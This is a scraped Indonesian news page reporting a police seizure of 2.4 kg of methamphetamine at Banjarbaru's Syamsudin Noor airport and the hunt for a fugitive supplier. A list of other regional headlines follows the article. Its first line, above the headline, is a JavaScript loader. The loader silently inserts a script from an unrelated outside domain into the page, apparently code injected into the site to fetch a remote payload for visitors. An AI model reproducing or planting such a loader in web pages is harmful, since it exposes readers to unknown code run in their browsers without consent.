(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Polres Banjarbaru Gagalkan Peredaran 2,4 Kg Sabu di Bandara Syamsudin Noor, Bidik Satu Buron Lagi Bernama Udak!


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru melalui unit Satuan Reserse Narkoba berhasil menggagalkan peredaran narkoba di wilayah Banjarbaru. Sedikitnya 2,4 kilogram narkoba jenis sabu diamankan petugas di kawasan Bandara Internasional Syamsusdin Noor, Kamis (4/3/2021) kemarin.

Dalam konferensi pers, Jumat (5/3/2021) siang, tiga orang pelaku dalam kasus ini dihadirkan, yakni, P, A, dan F. Ketiganya disinyalir berkerja sama dalam menyuplai kristal haram tersebut masuk ke wilayah Banjarbaru.

Tepat pada Kamis kemarin, sekitar pukul 15.30 Wita di area pakir Bandara Syamsudin Noor, petugas meringkus para pelaku.

Saat itu, petugas menemukan 10 kantong plastik yang di dalamnya terdapat paket sabu.

 

“Setelah ditimbang, berat kotornya mencapai 2,4 kilogram atau 2,435 gram. Kalkulasi harga per gramnya ialah 1,6 juta rupiah. Artinya, perkiraan harga keseluruhan barang bukti ini sekitar 3,8 miliar rupiah,” kata Kapolres Banjarbaru, AKBP Doni Hadi Santoso, saat memimpin konferensi pers.

Ketiga pelaku dalam kasus ini memiliki perannya masing-masing. P dan A bertugas mengambil paket sabu dari seorang buronan dalam kasus narkoba. Sedangkan F hanya bertugas sebagai penghubung antar kedua belah pihak.

“Jadi P dan A mengambil paket sabu ini dari seseorang yang masuk di Daftar Pencarian Orang (DPO). Dia bernama Udak. Pelaku F adalah orang yang memberikan nomor Udak tersebut kepada P dan A,” beber Kapolres.

Berdasarkan catatan pihak kepolisian, buronan bernama Udak itu berdomisili di Balikpapan, Kalimantan Timur. Modus operandinya, Udak memandu P dan A untuk mengambil paket kiriman di area bandara. Keduanya diberikan kunci motor yang telah diletakan di tiang rambu petunjuk arah ke bandara.

“Jadi DPO bernama Udak ini memandu dari jauh. Saat ini kita sedang melakukan lidik kepada yang bersangkutan,” terang AKBP Doni.

Atas terungkapnya kasus ini, P, A dan F dikenakan dau pasal berlapis yakni pasal 114 ayat 2 sub pasal 113 ayat 2 Jo pasal 131 ayat 1 Undang-Undang No 35 Tahun 2009 tentang narkotika. Dimana ancaman yang diberikan ialah pidana mati dan penjara seumur hidup. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Al Ghifari

Recent Posts

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Citaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

1 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

3 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

4 jam ago

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

16 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

16 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

17 jam ago

This website uses cookies.